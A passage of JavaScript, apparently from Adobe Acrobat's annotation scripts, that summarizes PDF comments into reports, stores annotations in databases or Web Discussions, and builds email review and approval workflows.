		var	aNew = new Array();



		if(status)

		{

			app.thermometer.begin();

			app.thermometer.duration = a.length;

			app.thermometer.text = status;

		}

		for(i =	0; i < a.length; i++)

		{

			if(status)

				app.thermometer.value =	i;

			binsert(aNew, a[i]);

		}

		if(status)

			app.thermometer.end();

		return aNew;

	}



	function ANstateful(annot)

	{

	  return annot &&

		typeof annot.state == "object" &&

		typeof annot.state.state !=	"undefined"	&&

		annot.state.state;

	}



	function ANsumFlatten(a, m,	i, s)

	{

		var	result = [];



		if(a)

		{

			if(s)

				/* if we're	sorting, sort by creation date */

				a.sort(function(a,b){

					return a.creationDate.getTime()	- b.creationDate.getTime();

				});



			for(var	n =	0; n < a.length; n++)

			{

				var	item = a[n];



				result.push(item); /* push on the item */

				result.push(i);	/* the indent level	*/



				// don't indent	if this	one	is stateful

				var	sub	= ANsumFlatten(m[item.name], m,	i +	(ANstateful(item) ?	0 :	1),	true);



				for(var	j =	0; j < sub.length; j++)

					result.push(sub[j]); /*	and	the	sub	stuff */

			}

		}

		return result;

	}



	function ANsummAnnot(annot,	scale, doc,	r, p, seqNum, printWithCustomLayout)

	{

	  var assoc	= true;

	  var attribs = "";



	  r.size = 1 * scale;



	  if(annot.reviewIcon)

	  {

 	  	r.columns = [ r.columns[0] - 52, 0 ];

 	  	r.writeImage({nAmount: 50, oIcon: annot.reviewIcon, column: 2});

 	  }

 	  

	  // icon on RHS page

	  r.indent({nAmount: 16	* scale, oIcon:	annot.uiIcon, color: ((annot.type == "FreeText") ? annot.fillColor : annot.strokeColor)});



	  // sequence numbering on LHS

	  if(seqNum	&& !annot.inReplyTo)

	      attribs = printWithCustomLayout? ANsumsCL[ANSB_Seq](annot,	seqNum) : ANsums[ANSB_Seq](annot,	seqNum);



	  for(j	= 0; j < ANsumorder.length;	j++)

		  if(ANsumorder[j] != p)

		  {

		      var s	= printWithCustomLayout? (ANsumsCL[ANsumorder[j]])(annot) : (ANsums[ANsumorder[j]])(annot);

   

			  if(s)

			    attribs += (attribs ? "\t" : "") + s;

		  }



        var heelPointAsRect = annot.containedPopupHeelPoint;

        

        heelPointAsRect = heelPointAsRect.concat(heelPointAsRect);



		if(!annot.inReplyTo && !seqNum)

			r.writeText(attribs, doc, annot.page, heelPointAsRect);

		else if(!annot.inReplyTo)

			r.writeText(attribs, doc, annot.page, heelPointAsRect, false, ""	+ seqNum, annot.containedPopupHeelPoint);

		else

			r.writeText(attribs, doc, annot.page);



	  var oldColor = r.color;

	  

	  r.color = ["RGB", 0.9, 0.9, 0.9]; // almost white

	  r.divide(0.7 * scale, false);

	  r.color = oldColor;

	  

	  var contents = annot.richContents;



	  if(contents)

		r.style =	"DefaultNoteText";

	  else

	    contents = " ";

	  

	  // For redaction annots, include overlay text (if present) in the content

      if (annot.type == "Redact")	  

      {

          if (annot.overlayText && annot.overlayText != "")

          {

              var overlayText = AnnotsString.IDS_FLASH_OVERLAY_TEXT.replace("{overlayText}", annot.overlayText);

              r.writeText(overlayText, doc, annot.page);

          }

      }

      

	  r.writeText(contents,	doc, annot.page);

	  r.writeText("	", doc,	annot.page);



	  // Add the state info

	  var models = Collab.getStateModels(false);

	  for(i	= 0; i < models.length;	i++)

	  {

		  var states = annot.getStateInModel(models[i].name);



		  if(states.length > 0)

		  {

			r.writeText("" + AnnotsString.IDS_SUM_STATUS_TITLE, doc, annot.page);



			r.indent(16 * scale);



			for(j =	0; j < states.length; j++)

			{

				var	d =	util.printd(2, states[j].modDate);

				var	s =	states[j].Name;

				var	a =	states[j].author;



				r.writeText(a +	" "	+ s	+ "	" +	d, doc,	annot.page);

			}



			r.outdent(16 *	scale);	

			

		  }

	  }

	  r.outdent(16 * scale);

	}



	function ANsummarize(doc, title, p,	r, dest, fs, print,	twoUp, useSeqNum, scale, noAssocDoc, filter, paperWidth, paperHeight, includeAllPages, startPage, endPage, assocColor, assocOpacity, printWithCustomLayout)

	{	/* Summarize annotations sorted	primarily by property p	*/

		if(!scale)

		    scale =	1;



		var	thermoUp = true;

		app.thermometer.begin();



		try

		{

			app.thermometer.text = AnnotsString.IDS_PROGRESS_SUMMARIZE;



			if(!ANsums[p])

				p =	ANSB_Page;

			if(!title)

				title =	AnnotsString.IDS_UNNAMED;

				

			/* make	sure we	have all annots	*/

			this.syncAnnotScan();

			

			/* Get all summarizable	annots on all pages	sorted in the given	manner */

			var	a =	[];



			if(typeof startPage == "undefined" || startPage < 0)

				startPage = 0;

			if(typeof endPage == "undefined" || endPage < 0)

				endPage = doc.numPages - 1;

			for(var	n =	startPage; n <= endPage; n++)

			{

			  var a2 = doc.getAnnots(n,	p, r, typeof filter	== "undefined" ? ANFB_ShouldSummarize :	filter);



			  for(var n2 = 0; a2 &&	n2 < a2.length;	n2++)

			  {

				  // If	it's hidden, or	a state	annot or a group slave don't show it

				  var curAnnot = a2[n2];



				  if(!curAnnot.hidden && (!curAnnot.state || !curAnnot.state.state)	&& curAnnot.refType	!= "Group")

					a.push(curAnnot);

			  }

			}



			if(a &&	a.length > 0) /* Put in	thread order */	

			{

				app.thermometer.duration = a.length	* 4;



				var	t =	{};



				for(var	n =	0; n < a.length; n++, app.thermometer.value	= n	* 2)

				{

					var	item = a[n];



					if(!t[item.inReplyTo])

						t[item.inReplyTo] =	[ item ];

					else

						t[item.inReplyTo].push(item);

				}





				/* don't sort the top level	'cuz it's already sorted */

				a =	ANsumFlatten(t[""],	t, 0, false);



				/* make	the	indents	differential */

				for(var	j =	a.length - 1; j	> 2; j -= 2)

					a[j] -=	a[j	- 2];

			}

			

			if(a &&	a.length > 0)

			{



				var	t;

				var	r =	new	Report([ 0, 0, paperWidth ? paperWidth : 612, paperHeight ? paperHeight : 792 ]);

				var	assocDoc = noAssocDoc ?	null : doc;

				r.assocColor = assocColor ? assocColor : [ "RGB", 0, 0, 0 ];

				r.assocOpacity = assocOpacity ? assocOpacity : 1.0;

				r.ignoreAnnotLayers	= (filter == ANFB_ShouldNone);

				r.joinAssocs = twoUp;

				r.style	= "NoteTitle";

				r.size = 2.5 * scale;

				t =	AnnotsString.IDS_SUM_TITLE1 + title + AnnotsString.IDS_SUM_TITLE2;

				r.writeText(t);

				r.divide(3.5 * scale, false);



				var	i, j, contents;

				var	oldHeading;

				var	lastAnnotPage;

				var	curFooterText =	"";

				var	seqNum = 1;

			

				// do initial pages

				if(assocDoc && includeAllPages)

				{

					r.style	= "NoteTitle";

					r.size = 2.5 * scale;

					

					// spit out pages w/o annots on them

					for(var noAnnotPage = startPage; noAnnotPage < a[0].page && noAnnotPage <= endPage; noAnnotPage++)

					{

                        // prepare report alternatively if print invoked with custom layout

					    if(print && !printWithCustomLayout)

						{

							app.beginPriv();

							r.copyContentFromDoc(assocDoc, noAnnotPage, 2);

							app.endPriv();	

						}

						else

						{

							r.writeText(AnnotsString.IDS_SUM_NO_COMMENTS, assocDoc, noAnnotPage);

							r.breakPage();

						}

							

					}

				}			

	

			  for(i	= 0; i < a.length; i +=	2)

			  {

				app.thermometer.value =	a.length + i;



				// update the indent level

				var	ind	= a[i +	1];

				var	curAnnot = a[i];

				var	footerText = "";

				// update the footer

				r.style = "NoteTitle";

				r.size = 2 * scale;

				if((typeof lastAnnotPage !=	"undefined") &&	(curAnnot.page != lastAnnotPage))

				{

					footerText = curFooterText = "";

					r.setFooterText();

					r.breakPage();

					if(assocDoc && includeAllPages)

					{

						r.style	= "NoteTitle";

						r.size = 2.5 * scale;

						

						// spit out pages w/o annots on them

						for(var noAnnotPage = lastAnnotPage + 1; noAnnotPage < curAnnot.page && noAnnotPage <= endPage; noAnnotPage++)

						{

						    // prepare report alternatively if print invoked with custom layout

						    if(print && !printWithCustomLayout)

						    {

								app.beginPriv();

								r.copyContentFromDoc(assocDoc, noAnnotPage, 2);

								app.endPriv();	

						    }

							else

							{

								r.writeText(AnnotsString.IDS_SUM_NO_COMMENTS, assocDoc, noAnnotPage);

								r.breakPage();

							}

							

						}

						r.style = "NoteTitle";

						r.size = 2 * scale;

					}

					seqNum = 1;

				}



				footerText = "\r" +	AnnotsString.IDS_SUM_FOOTER1	+ doc.getPageLabel(curAnnot.page) +	AnnotsString.IDS_SUM_FOOTER2; 



				if(footerText != curFooterText)

				{

					curFooterText =	footerText;

					r.setFooterText(footerText);

				}



				for(; ind <	0; ind++)

					{ r.outdent(16 * scale); r.outdent(16 *	scale);	}

				for(; ind >	0; ind--)

					{ r.indent(16 *	scale);	r.indent(16	* scale); }



				// maybe do	the	heading

				if(!curAnnot.inReplyTo)

				{

				  var heading =	(ANsums[p])(curAnnot);

				  if(heading !=	oldHeading)

				  {

					if(typeof oldHeading !=	"undefined")

					  r.writeText("	");

					r.writeText(heading, assocDoc, curAnnot.page);

					oldHeading = heading;

					r.divide({bNewPageOk: false});

				  }

				}



				if(useSeqNum)

				    ANsummAnnot(curAnnot, scale, assocDoc, r, p, seqNum, printWithCustomLayout);

				else

				    ANsummAnnot(curAnnot, scale, assocDoc, r, p, false, printWithCustomLayout);



				if(!curAnnot.inReplyTo)

					seqNum++;



				  //r.divide(0.75 * scale, false);

				  lastAnnotPage	= curAnnot.page;

			  }

			  r.setFooterText();

			    // do any remaining pages

				if(assocDoc && includeAllPages)

				{

					r.style	= "NoteTitle";

					r.size = 2.5 * scale;



					// spit out pages w/o annots on them

                 

					for(var noAnnotPage = curAnnot.page + 1; noAnnotPage < assocDoc.numPages && noAnnotPage <= endPage; noAnnotPage++)

					{

					    // prepare report alternatively if print invoked with custom layout

					    if(print && !printWithCustomLayout)

					    {

							app.beginPriv();

							r.copyContentFromDoc(assocDoc, noAnnotPage, 1); // decrementCount 1 here because we want these pages to be added at the end of the file

							app.endPriv();	

					    }

						else

							r.writeText(AnnotsString.IDS_SUM_NO_COMMENTS, assocDoc, noAnnotPage);

					}

				}

			}

			else

			{

				// do nothing

			}



			if(thermoUp)

			{

				thermoUp = false;

				app.thermometer.end();

			}



			if(a && a.length > 0)

			{

				if (typeof dest	!= "undefined") 

					r.save(dest, fs);

				else if(print) 

					r.print();

				else 

					r.open(t);				

			}

		}

		catch(e)

		{

			app.alert({cMsg: e["message"], oDoc: doc});

		}

		if(thermoUp)

			app.thermometer.end();



		return a ? a.length	/ 2	: 0;

	}

}



if(typeof Collab !=	"undefined")

{

	var CBAutoConfigCommentRepository = app.trustedFunction(function()

	{

		var dialog = ANTrustPropagateAll(

		{

			type: "acrobatRMACR",

			client: ["local.", ""], // Domains to search in

			services: {},

			domains: {},

			description:

			{

				name: "$$$/Dialogs/CommentRepositoryAutoConfig",

				elements: 

				[

					{

						type: "view",

						align_children: "align_left",

						elements: 

						[

							{

								type: "cluster",

								name: "$$$/Dialogs/CommentRepositoryAutoConfig/ClusterTitle",

								width: { sum: [32, { zstring_width: "$$$/Dialogs/CommentRepositoryAutoConfig/ClusterTitle" }]},

								elements: 

								[

									{

										type: "static_text",

										name: "$$$/Dialogs/CommentRepositoryAutoConfig/PleaseSelect"

									},

									{

										type: "list_box", 

										item_id: "sele", 

										width: 300, 

										height: 200

									}

								]

							},

							{

								type: "ok_cancel"

							}

						]

					}

				]

			},



			"sele": function(dialog)

			{

				var sele = dialog.store()["sele"];

				var enabled = false;

				

				for(var i in sele)

				{

					if(sele[i] > 0)

					{

						enabled = true;

						break;

					}

				}



				dialog.enable({"ok": enabled});

			},



			updateServices: function()

			{

				this.dialog.load({ sele: this.services });

			},

			addServices: function(services)

			{

				for(var i in services)

				{

					var service = services[i];



					this.services[service.name] = -1;

					this.domains[service.name] = service.domain;

				}

				this.updateServices();

			},

			removeServices: function(services)

			{

				for(var i in services)

				{

					var service = services[i];



					delete this.services[service.name];

					delete this.domains[service.name];

				}

				this.updateServices();

			},

			initialize: function(dialog)

			{

				this.dialog = dialog;

				app.beginPriv();

				this.discor = SOAP.queryServices(this.type, this, this.client);

				app.endPriv();

				this.dialog.enable({"ok": false});

			},

			validate: function(dialog)

			{

				var sele = dialog.store()["sele"];

				var entryCount = 0;

				

				for(var i in sele)

				{

					entryCount++;

					if(sele[i] > 0)

						return true;

				}

				if(!entryCount)

					return true;

				return app.alert({cMsg: AnnotsString.IDS_CONFIRM_NO_REPOSITORY_CHOICE, nType: 2}) == 4;

			},

			commit: function(dialog)

			{

				var sele = dialog.store()["sele"];

				

				for(var i in sele)

				{

					if(sele[i] > 0)

					{

						app.beginPriv();

						this.resolver = SOAP.resolveService(this.type, this.domains[i], i, this);

						app.endPriv();

						break;

					}

				}

			},

			destroy: function(dialog)

			{

				this.discor.stop();

			},

			resolve: function(name, service)

			{

				app.beginPriv();

				Collab.setStoreSettings(service.type, service.settings);

				Collab.defaultStore = service.type;

				app.endPriv();

				this.resolver.stop();

			},

			doModal: function()

			{

				app.beginPriv(); // Disable dialog warning

				this.resolve = app.trustedFunction(this.resolve);

				app.execDialog(this);

				app.endPriv();

			}

		});

		dialog.doModal();

	});

	

	/* flags used by collaboration

	*/

	const CBFNiceTableName = 1;

	const CBFNiceDBName =	2;

	const CBFDBPerDoc	= 4;



	function CBgetTableDesc(doc, author)

	{

	  var frag = Collab.URL2PathFragment(doc.URL);

	  var DBName;

	  var tableName;



	  if(doc.collabDBFlags & CBFDBPerDoc)

	  {

		DBName = frag;

		tableName =	author;

	  }

	  else

	  {

		DBName = "";

		tableName =	frag;

	  }



	  if(doc.collabDBFlags & CBFNiceTableName)

		tableName =	Collab.hashString(tableName);

	  if(doc.collabDBFlags & CBFNiceDBName)

		DBName = Collab.hashString(DBName);

	  return {DBName: DBName ? doc.collabDBRoot	+ DBName : doc.collabDBRoot,

		tableName: tableName,

		URL: doc.URL,

		user: author,

		flags: doc.collabDBFlags};

	}



	function CBgetTableConnect(desc)

	{

	  var e;



	  try

	  {

		var	conn = ADBC.newConnection(desc.DBName);

		var	stmt = conn.newStatement();



		return {conn: conn,

		  stmt:	stmt,

		  tableName: desc.tableName,

		  user:	desc.user,

		  flags: desc.flags};

	  }

	  catch(e) { debugExcept(e); return	false; }

	}



	function CBgetInfo(conn, name)

	{

	  var e;



	  try

	  {

		conn.stmt.execute("select CONTENTS from	\""	+ conn.tableName + "\" where AUTHOR	like ?;",

		  "~" +	name + "~");

		conn.stmt.nextRow();

		return conn.stmt.getColumn("CONTENTS").value;

	  }

	  catch(e) { debugExcept(e); return	false; }

	}



	function CBsetInfo(conn, name, value)

	{

	  var e;



	  /* add the field */

	  try {	return conn.stmt.execute("insert into \"" +	conn.tableName + "\" (AUTHOR, CONTENTS)	values (?, ?);",

		  "~" +	name + "~",

		  value); }

	  catch(e) { debugExcept(e); return	false; }

	}



	function CBcreateTable(desc)

	{

	  var e;



	  try

	  {

		var	conn = ADBC.newConnection(desc.DBName);

		var	stmt = conn	? conn.newStatement() :	null;



		/* come	up with	the	SQL	query to do	it */

		var	sql1 = "create table \"" + desc.tableName +	"\"	(AUTHOR	varchar(64), PAGE integer, NAME	varchar(64), CONTENTS text,	DATA image);";

		var	sql2 = "create table \"" + desc.tableName +	"\"	(AUTHOR	varchar(64), PAGE integer, NAME	varchar(64), CONTENTS clob,	DATA blob);";



		var	conn = {conn: conn,

		  stmt:	stmt,

		  tableName: desc.tableName,

		  user:	desc.user,

		  flags: desc.flags};



		// first try...

		try

		{

		  stmt.execute(sql1);

		} catch(e) { debugExcept(e); }

		// second try...

		try

		{

		  stmt.execute(sql2);

		} catch(e) { debugExcept(e); }

		// these will throw	if the table wasn't	created

		CBsetInfo(conn,	"URL", desc.URL);

		CBsetInfo(conn,	"creator", desc.user);

		return conn;

	  }

	  /* we	failed... */

	  catch(e) { debugExcept(e); return	false; }

	}



	function CBconnect(desc, bDoNotCreate)

	{

	  var conn = CBgetTableConnect(desc);

	  var e;



	  /* if	we can't get the URL from it, it doesn't exist */

	  if(!CBgetInfo(conn, "URL"))

	  {

		if (!bDoNotCreate)

		  conn = CBcreateTable(desc);

		else

		  return false;

	  }



	  /* here it is! */

	  return conn;

	}



	/* mapping of annot	types to data properties */

	const CBannotdata	=

	{

		FileAttachment:	function(p)	{ return "FSCosObj"	},

		Sound:			function(p)	{ return "SCosObj" },

		Stamp:			function(p)	{ return /^\#/.exec(p.AP) ?	"APCosObj" : false }

	};



	/* returns the data	fork for an	annot */

	function CBannotData(annot)

	{

	  var prop = CBannotdata[annot.type];

	  if(prop != null)

	  {

		prop = prop(annot);

		var	stm	= prop ? Collab.cosObj2Stream(annot[prop]) : null;



		if(stm && typeof ADBC != "undefined") 

			stm.type = ADBC.SQLT_LONGVARBINARY;

		return stm;

	  }

	}



	/* sets	the	data fork of an	annot */

	function CBannotSetData(annot, data)

	{

	  var prop = CBannotdata[annot.type];

	  if(prop)

	  {

		prop = prop(annot);

		if(prop) annot[prop] = data;

	  }

	}





	/* recursive function that deletes a reply chain */

	function CBDeleteReplyChain(disc)

	{

		var	replies	= Discussions.getDiscussions(disc);



		if (replies	&& (replies.length == 1))

		{

			var	currentReply = replies[0];

			var	looper = 1;

			while (looper)

			{

				/*

				** There better	only be	one	reply 

				*/

				var	saveChild =	Discussions.getDiscussions(currentReply);



	//			console.println("Delete	reply");

				currentReply.Delete();



				if (saveChild && (saveChild.length == 1))

					currentReply = saveChild[0];

				else

					looper = 0;

			}

		}



	}



	/* gets	the	reply chain, stuffs	it in a	stream */

	/* and then	puts it	in the annot */

	function CBGetReplyChain(dstAnnot, discussion)

	{

		var	discList = Discussions.getDiscussions(discussion);



		var	cos	= Collab.newWrStreamToCosObj();



		var	data = 0;

		while (discList	&& (discList.length	> 0))

		{

			data = 1;

			cos.write(discList[0].Text);

			//console.println("Write to	cos	stream " + discList[0].Text.length + " characters");



			discList = Discussions.getDiscussions(discList[0]);

		}



		if (data ==	1)

			CBannotSetData(dstAnnot, cos.getCosObj());

	}



	/* get the stream and puts the data	as replies */

	function CBPutReplyChain(discussion, bookmark, srcAnnot)

	{

		var	cosStream =	CBannotData(srcAnnot);



		if(cosStream)

		{

			var	s =	cosStream.read(Collab.wdBlockSize);



			while (discussion && (s.length > 0))

			{

				discussion = Discussions.addDiscussion(discussion, "Data", s, bookmark);



				s =	null;

			

				s =	cosStream.read(Collab.wdBlockSize);

			}

		}

	}



	/* ADBC	based annot	enumerator constructor

	*/

	function ADBCAnnotEnumerator(parent, sorted)

	{

	  /* store away	parameters */

	  this.parent =	parent;

	  this.sorted =	sorted;

	  /* add enumeration method	*/

	  this.next	= function()

	  {

		var	e;



		try

		{

		  if(!this.conn)

		  {

			this.conn =	CBconnect(this.parent.desc,	true);

			this.conn.stmt.execute("select CONTENTS	from \"" + this.parent.desc.tableName +	"\"	where AUTHOR not like '~%~'" +

			  (this.sorted ? " order by	PAGE, NAME;" : ";"));

		  }

		  this.conn.stmt.nextRow();

		  return eval(this.conn.stmt.getColumn("CONTENTS").value);

		}

		catch(e) { debugExcept(e); return false; }

	  }

	}



	function CBStrToLongColumnThing(s)

	{

	  return { type: ADBC.SQLT_LONGVARCHAR,	value: s, size:	s.length };

	}



	/* ADBC	based annot	store constructor

	*/

	function ADBCAnnotStore(doc, user)

	{

	  this.desc	= CBgetTableDesc(doc, user);

	  this.enumerate = function(sorted)

	  {

		return new ADBCAnnotEnumerator(this, sorted);

	  }

	  this.complete	= function(toComplete)

	  {

		var	i;

		var	conn = CBconnect(this.desc,true);



		if (conn) 

			{

		  for(i	= 0; toComplete	&& i < toComplete.length; i++)

		  {

			if(CBannotdata[toComplete[i].type])

			{

			  var e;

  

			  try

			  {

				conn.stmt.execute("select DATA from	\""	+ this.desc.tableName +	"\"	where PAGE = ? and NAME	like ?;",

				  toComplete[i].page, toComplete[i].name);

				conn.stmt.nextRow();

				var	cos	= Collab.newWrStreamToCosObj();



				conn.stmt.getColumn("DATA",	ADBC.Binary	| ADBC.Stream, cos);

				CBannotSetData(toComplete[i], cos.getCosObj());

			  }

			  catch(e) 

			  {	

				debugExcept(e);

				return false;

			  }

			}

			  }

		} else return false;

		return true;

	  }

	  this.update =	function(toDelete, toAdd, toUpdate)

	  {

		var	i;

		var	e;

		var	conn = CBconnect(this.desc);

		if(conn	== null) return	false;



		for(i =	0; toDelete	&& i < toDelete.length;	i++)

		{

		  try

		  {

			conn.stmt.execute("delete from \"" + this.desc.tableName + "\" where PAGE =	? and NAME like	?;",

			  toDelete[i].page,	toDelete[i].name);

		  }

		  catch(e) 

		  {	

			debugExcept(e);

			return false;

		  }

		}

		for(i =	0; toAdd &&	i <	toAdd.length; i++)

		{

		  try

		  {

			conn.stmt.execute("insert into \"" + this.desc.tableName + "\" (AUTHOR,	PAGE, NAME,	CONTENTS, DATA)	values (?, ?, ?, ?,	?);",

			  toAdd[i].author, toAdd[i].page, toAdd[i].name, CBStrToLongColumnThing(ANClipPrec3(toAdd[i]).toSource()), CBannotData(toAdd[i]));

		  }

		  catch(e) 

		  {	

			debugExcept(e);

			return false;

		  }

		}

		for(i =	0; toUpdate&& i	< toUpdate.length; i++)

		{

		  try

		  {		

			conn.stmt.execute("update \"" +	this.desc.tableName	+ "\" set CONTENTS = ?,	DATA = ? where PAGE	= ?	and	NAME like ?;",

			  CBStrToLongColumnThing(ANClipPrec3(toUpdate[i]).toSource()), CBannotData(toUpdate[i]),	toUpdate[i].page, toUpdate[i].name);

		  }

		  catch(e) 

		  {	

			debugExcept(e);

			return false;

		  }

		}

		return true;

	  }

	}



	/* Munge an	URL	such that Web Discussions won't	put	our	data in	the	discussions	pane

	*/

	function WDmungeURL(url)

	{

		return url + "/ACData";

	}



	/* Web discussions based annot enumerator constructor

	*/

	function WDAnnotEnumerator(parent, sorted)

	{

	//	console.println("WDAnnotEnumerator(): Begin");



	  this.parent =	parent;

	  this.sorted =	sorted;

	  this.next	= function()

	  {

		try

		{

			app.thermometer.begin();

			app.thermometer.text = AnnotsString.IDS_PROGRESS_FETCHING;



			if(!this.discussions)

			{

				this.discussions = Discussions.getDiscussions(WDmungeURL(this.parent.doc.URL));



				// always sort as our completion callback relies on	a sorted list

				if(this.discussions)

				{

					this.discussions = isort(this.discussions, AnnotsString.IDS_PROGRESS_SORTING);

					app.thermometer.duration = this.discussions.length;

				}

				this.index = 0;

			}



			// skip	non-Acro discussions

			while(this.discussions && this.index < this.discussions.length && this.discussions[this.index] == "[Discussion]")

				app.thermometer.value =	this.index++;



			app.thermometer.end();



			if(!this.discussions ||	this.index >= this.discussions.length)

			{

				return false;

			}

			return eval(this.discussions[this.index++].Text);

		}



		catch(e)

		{

			debugExcept(e);

			app.thermometer.end();

			return false;

		}

	  }	// next

	}



	// Add default state handlers -- this should go	in a seperate file.



}



// Should send for review be enabled?

function ANSendForReviewEnabled(doc)

{

	if(!Collab.hasSynchonizer)

		return false;//disable initiate for review if Synchronizer is not there



	var result = false;



	if(app.viewerType != "Reader")

	{

		if(doc != null)

		{

			try { result = !doc.external; } catch(e){ result = true; }

		}

		else result = true;

	}



	//return app.viewerType != "Reader" && (doc == null || !doc.external);

	return result;

}



function ANSendForSharedReviewEnabled(doc)

{

	return ANSendForReviewEnabled(doc); 

}



function ANSendForFormDistributionEnabled(doc)

{

	return ANSendForReviewEnabled(doc); 

}



// This was moved to CollabUtil.cpp as part of the Annots delay load work.

// TODO: this should be removed when we turn off the force loading of Annots

//       and delay load it for real.

function ANSendCommentsToAuthorEnabled(doc)

{

	if (typeof doc == "undefined") return false;



	var reviewing = Collab.isEmailReview(doc);



	return reviewing && (doc.requestPermission(permission.annot, permission.canExport) == permission.granted) && (doc.requestPermission(permission.annot, permission.modify) == permission.granted);

}



ANVerifyComments = app.trustedFunction(function(doc, str)

{

	if((doc.Collab.addedAnnotCount < 1) && (doc.Collab.modifiedAnnotCount < 1))

	{

		// confirm there are comments or the user doesn't care

		var result = 0;

		app.beginPriv();

		result = app.alert(str, 2, 2);

		app.endPriv();

		

		return result == 4;

	}

	return true;

});



/* E-mail ad-hoc workflow stuff	*/

function ANDoSend(doc,docID,from,to,position,cc,bcc,subject,body,bUB,bUI,bApproval,bNoMojo,toolbars,bInitiatorEmail)

{

	//

	// If the "to" wasn't passed and there's no UI to get a "to" tben 

	// return 0 (error).

	//

	if (((typeof to == "undefined") || to.length ==	0) && (bUI == false))

	{

		app.alert({cMsg: AnnotsString.IDS_SEND_FOR_REVIEW_NO_RECIPIENT, oDoc: doc});

		return 0; // Cancelled

	}

	

	var raddr = "";

	if ((typeof from != "undefined") && (from.length != 0))

	{

		raddr = from;

	}



	// use position to find out who to actually send this to since we only send to one

	// person.  unless the position is 0, which means send to them all.

	// note we are assuming that the invitees are semi-colon delimited, not comma

	var url = "mailto:";

	if (position  == 0)

	{

		url += escape(to);

	} else {

	

	var invitees = to.split(";");

	

	if (position > (invitees.length + 1))

		url += escape(to);   // backup strategy

	  else

	  {

		url += escape(invitees[position - 1]);

	  }

	}

	url += "?";

	var firstParam = false;



	//

	// Special case for approvals.  CC may be passed in but we don't want

	// to actually use it in the URL.  CCs for Approvals are separate 

	// messages that don't contain mojo.  See ANSendForApproval

	//

	// changed in A8 - 04/13/2006 tshiono

	// operate cc field with the same handling as cc: of mail application

	// add a check box to notify initiator of the approval status.

	//

	//if ((typeof cc != "undefined") && (cc.length != 0)  && (!bApproval))

	if ((typeof cc != "undefined") && (cc.length != 0))

	{

		if (firstParam)

			url += "&";

		url += "cc=" + escape(cc);	

		firstParam = true;

	}



	// changed in A8 - 04/27/2006 tshiono

	// use bcc field to handle the initiator address in javascript code only.

	// but in Collab data, the initator address should be stored in cc field 

	// to keep backward compatibility.

	//

	//if ((typeof bcc != "undefined") && (bcc.length != 0))

	if ((typeof bcc != "undefined") && (bcc.length != 0)  && (!bApproval))

	{

		if (firstParam)

			url += "&";

		url += "bcc=" + escape(bcc);	

		firstParam = true;

	}



	if ((typeof subject != "undefined") && (subject.length != 0))

	{

		if (firstParam)

			url += "&";

		url += "subject=" + escape(subject);	

		firstParam = true;

	}



	if ((typeof body != "undefined") && (body.length != 0))

	{

		if (firstParam)

			url += "&";

		url += "body=" + escape(body);	

		firstParam = true;

	}

	

	if (bUI)

	{

		if (firstParam)

			url += "&";

		url += "ui=true";

	}

	else

	{

		if (firstParam)

			url += "&";

		url += "ui=false";

	}

	

	var startDate =	new	Date();



	var script;

	if (!bApproval)

	{

		var params = ({

			initiator: raddr,

			initScript: "",

			invitees: to,

			cc: cc,

			bcc: "",

			sentDate: startDate,

			toolbars: toolbars,

			selfDestruct: true

		}).toSource().replace("{", "$& doc: this, ");



		// do review stuff

		CBCanDoEBRReviewWorkflowCheckExpr = "(" + CBEncodeMaybeInternalStrings(function()

		{

	    		var bReader = app.viewerType.match(/Reader/);

			var bResult = ((app.viewerVersion >= 6 && (!bReader)) ||(app.viewerVersion >= 7 && (requestPermission(permission.annot, permission.create) == permission.granted)));

			if(bResult && external)

			{

		    		var err = bReader ? $$$IDS_EMAIL_WORKFLOW_IN_BROWSER_ERROR_READER : $$$IDS_EMAIL_WORKFLOW_IN_BROWSER_ERROR_ACROBAT;		    

			    app.alert({cMsg: err});

			    return false;

			}

			return bResult;

		}.toSource()) + "())";



		script = "if(!" + CBCanDoEBRReviewWorkflowCheckExpr + ") {" + /* really nothing here?  if(!ADBE.Reader_Value_Asked && !ADBE.Viewer_Value_Asked) app.alert({cMsg: \"" + AnnotsString.IDS_SEND_FOR_REVIEW_VERSION_ERR + "\", oDoc:	this})*/ " }	else { Collab.registerReview(" + params + ");}"; 

		

	} else {

		// XXX bug # 1121631: exclude sentDate and make initiator always empty to ensure that

		// the script is byte-for-byte identical for every approval script or UB validation

		// will break!  This is a last minute HACK!!!

		var params = ({

			initiator: "", //XXX

			initScript: false,

			invitees: "",

			cc: bcc, // pass initiator address to cc field.

			bcc: "",

			//XXX sentDate: startDate,

			initiatorEmail: bInitiatorEmail,

			// changed in A9: preserve this Javascript except rejecting or finally completing.

			selfDestruct: false

		}).toSource().replace("{", "$& doc: this, ");



		// do approval stuff

		// note that we do use CC here so that if the initiator wants to follow the doc

		// the initiator will get an email.  See ANSendForApproval for details.

		CBCanDoApprovalWorkflowCheckExpr = "(" + CBEncodeMaybeInternalStrings(function()

		{

		    var bReader = app.viewerType.match(/Reader/);

			var bResult = (app.viewerVersion >= 9) && ((!bReader) ||

			(requestPermission(permission.annot, permission.create) == permission.granted));

			if(bResult && external)

			{	

		    		var err = bReader ? $$$IDS_EMAIL_WORKFLOW_IN_BROWSER_ERROR_READER : $$$IDS_EMAIL_WORKFLOW_IN_BROWSER_ERROR_ACROBAT;

				app.alert({cMsg: err});

		    		return false;

			}

			return bResult;

		}.toSource()) + "())";

		

		script = "if(!" + CBCanDoApprovalWorkflowCheckExpr + ") {" + /* really nothing here?  if(!ADBE.Reader_Value_Asked && !ADBE.Viewer_Value_Asked) app.alert({cMsg: \"" + AnnotsString.IDS_SEND_FOR_APPROVAL_VERSION_ERR + "\", oDoc:	this})*/ " }	else { Collab.registerApproval(" + params + ");}";

	}

		

	var result;

	var raise = false;

	var	e;

	try

	{

		var submitParams = {cURL: url, cPermID: docID, bPDF/*bEmbedForm*/: true, bCheckReqdFields: false };

		

		if(!bNoMojo)

		{

			// changed in A9 - 10/19/2007 tshiono

			// because of JS replacement is forbidden in A9, do not add mojo for approval notification mail.

			//XXX adding mojo for approval notification mail is started since A8.

			var docScriptName = "___ADBERMAIS___";

			var oneShotScript = script + "\nif(app.viewerVersion < 7) try{addScript(" + docScriptName.toSource() + ", ' ');} catch(e){}";



//		creator (required; string abbreviation for the Acrobat component that is calling this function, to be used in variable names, e.g. "RMA" or "Form"),

//		title (required if using "response" dialogs; title of "response" type dialogs. e.g. "Adobe Acrobat"),

//		r_vers (requried; the version number of Reader needed by the creator to properly view the file, e.g. 7.0), 

//		a_vers (required; the version number of Acrobat needed by the creator to properly view the file, e.g. 6.02).

//		url (optional; url string for user update info, default "http://cgi.adobe.com/special/acrobat/update"), 

